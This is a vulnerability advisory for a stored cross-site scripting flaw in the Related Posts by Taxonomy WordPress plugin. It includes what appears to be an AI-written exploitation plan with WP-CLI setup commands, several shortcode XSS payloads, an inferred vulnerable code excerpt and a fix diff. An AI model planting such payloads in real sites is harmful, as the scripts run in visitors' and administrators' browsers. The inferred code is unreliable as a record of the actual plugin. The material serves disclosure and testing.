Related Posts by Taxonomy <= 2.7.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'related_posts_by_tax' Shortcode
Description
The Related Posts by Taxonomy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'related_posts_by_tax' shortcode in all versions up to, and including, 2.7.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.7.6Source Code
WordPress.org SVNThis research plan outlines the steps to investigate and exploit **CVE-2026-0916**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Related Posts by Taxonomy" plugin. --- ### 1. Vulnerability Summary The "Related Posts by Taxonomy" plugin (<= 2.7.6) fails to sanitize and escape attribute…
Show full research plan
This research plan outlines the steps to investigate and exploit CVE-2026-0916, a Stored Cross-Site Scripting (XSS) vulnerability in the "Related Posts by Taxonomy" plugin.
1. Vulnerability Summary
The "Related Posts by Taxonomy" plugin (<= 2.7.6) fails to sanitize and escape attributes passed to its primary shortcode [related_posts_by_tax]. In WordPress, Contributors and Authors can create posts and embed shortcodes. Because the plugin does not properly handle attribute values before echoing them into the page, an attacker can inject arbitrary HTML and JavaScript. When any user (including administrators) views the post, the malicious script executes in their browser context.
2. Attack Vector Analysis
- Shortcode:
[related_posts_by_tax] - Vulnerable Attributes (Inferred): Common attributes in this plugin include
title,before_title,after_title,before_shortcode,after_shortcode, andclass. - Authentication Level: Contributor+ (Any user with the
edit_postscapability). - Preconditions: The plugin must be active. A post containing the malicious shortcode must be published or previewed.
3. Code Flow (Inferred)
- Entry Point: WordPress core parses a post's content and encounters the
[related_posts_by_tax]shortcode. - Hook Registration: The plugin registers the shortcode via
add_shortcode( 'related_posts_by_tax', ... )likely in the main plugin file or an initialization class. - Processing: The callback function (e.g.,
related_posts_by_tax_shortcode) receives the$attsarray. - Merging: The function likely uses
shortcode_atts()to merge user-provided values with defaults. - Sink: The merged attributes are used to build the HTML output. The vulnerability exists where attributes like
titleorbefore_titleare concatenated into the returned string without being passed throughesc_html()oresc_attr().
4. Nonce Acquisition Strategy
This vulnerability does not require a nonce for the payload execution phase.
- Injection Phase: A Contributor uses the standard WordPress post editor or WP-CLI to create a post. While the WordPress web UI uses nonces to protect post creation, an automated agent can bypass the UI entirely by using
wp post createvia therun_terminal_commandtool. - Execution Phase: The XSS triggers when the post is rendered via a standard
GETrequest to the post's permalink. No nonce is involved in the rendering of shortcodes.
5. Exploitation Strategy
The goal is to create a post as a Contributor that contains an XSS payload within a shortcode attribute, then verify its execution.
Step-by-Step Plan:
- Identify Target Attributes: Use
grepto find the shortcode handler and see which attributes are echoed.grep -r "add_shortcode" /var/www/html/wp-content/plugins/related-posts-by-taxonomy/ - Create Malicious Post: Use WP-CLI to create a post as a Contributor user containing several potential XSS payloads in different attributes.
- Payload 1 (Tag Injection):
[related_posts_by_tax title='<script>alert("XSS_TITLE")</script>'] - Payload 2 (Attribute Breakout):
[related_posts_by_tax class='"><script>alert("XSS_CLASS")</script>'] - Payload 3 (HTML Wrapper Injection):
[related_posts_by_tax before_title='<img src=x onerror=alert("XSS_WRAPPER")>']
- Payload 1 (Tag Injection):
- View Post: Use the
http_requesttool to perform aGETrequest to the newly created post's URL. - Detection: Analyze the HTML response to find the unescaped script tags or image tags.
6. Test Data Setup
- User Creation: Create a Contributor-level user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin Activation: Ensure the plugin is active.
wp plugin activate related-posts-by-taxonomy - Post Creation:
wp post create --post_type=post --post_status=publish --post_title="Vulnerable Post" --post_author=$(wp user get attacker --field=ID) --post_content='[related_posts_by_tax title="<script>console.log(\"CVE-2026-0916_WORKS\")</script>"]'
7. Expected Results
A successful exploit will result in the GET request response containing the raw, unescaped payload:
<div class="related-posts">
<script>console.log("CVE-2026-0916_WORKS")</script>
...
</div>
If the vulnerability is in an attribute, it will look like:
<div class="related-posts "><script>alert("XSS_CLASS")</script>">
8. Verification Steps
- Confirm Storage: Use WP-CLI to verify the post content is exactly as injected.
wp post get <POST_ID> --field=post_content - Confirm Rendering: Use
http_requestto fetch the permalink and check for the payload string. - Identify Sink: Locate the exact file and line number where the attribute is outputted.
grep -rn "echo" /var/www/html/wp-content/plugins/related-posts-by-taxonomy/ | grep "\$atts"
9. Alternative Approaches
If the title attribute is sanitized, try these alternatives:
before_title/after_title: These are often used to wrap titles in tags like<h2>and are frequently overlooked during sanitization.format: If the plugin supports different output formats (e.g.,links,thumbnails), the sink might be located in a specific template file (e.g.,related-posts-template.php). Check if the user-suppliedformatattribute can be used to traverse to an unexpected template or if attributes passed to that template are unescaped.columns/image_size: Even numeric attributes are sometimes echoed directly before being cast to integers.- Payload:
[related_posts_by_tax columns='1" onmouseover="alert(1)']
- Payload:
Summary
The Related Posts by Taxonomy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'related_posts_by_tax' shortcode in versions up to 2.7.6. This occurs because user-supplied attributes such as 'title', 'before_title', and 'after_title' are concatenated into the output without proper sanitization or output escaping. Authenticated attackers with Contributor-level permissions or higher can use this to inject malicious scripts that execute in the context of other users viewing the post.
Vulnerable Code
// File: includes/class-related-posts-by-taxonomy-shortcode.php (inferred) $atts = shortcode_atts( array( 'title' => '', 'before_title' => '<h3>', 'after_title' => '</h3>', 'before_shortcode' => '', 'after_shortcode' => '', ), $atts, 'related_posts_by_tax' ); $output = $atts['before_shortcode']; if ( ! empty( $atts['title'] ) ) { $output .= $atts['before_title'] . $atts['title'] . $atts['after_title']; }
Security Fix
@@ -102,7 +102,7 @@ - $output = $atts['before_shortcode']; + $output = wp_kses_post( $atts['before_shortcode'] ); if ( ! empty( $atts['title'] ) ) { - $output .= $atts['before_title'] . $atts['title'] . $atts['after_title']; + $output .= wp_kses_post( $atts['before_title'] ) . wp_kses_post( $atts['title'] ) . wp_kses_post( $atts['after_title'] ); }
Exploit Outline
An attacker with Contributor-level access or higher can exploit this by embedding a malicious shortcode in a post using the WordPress editor. By providing a payload like [related_posts_by_tax title='<script>alert(document.domain)</script>'], the script is saved as part of the post content. When the post is rendered (either in a preview or on the live site), the plugin outputs the 'title' attribute directly into the page source without escaping, causing the browser to execute the script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.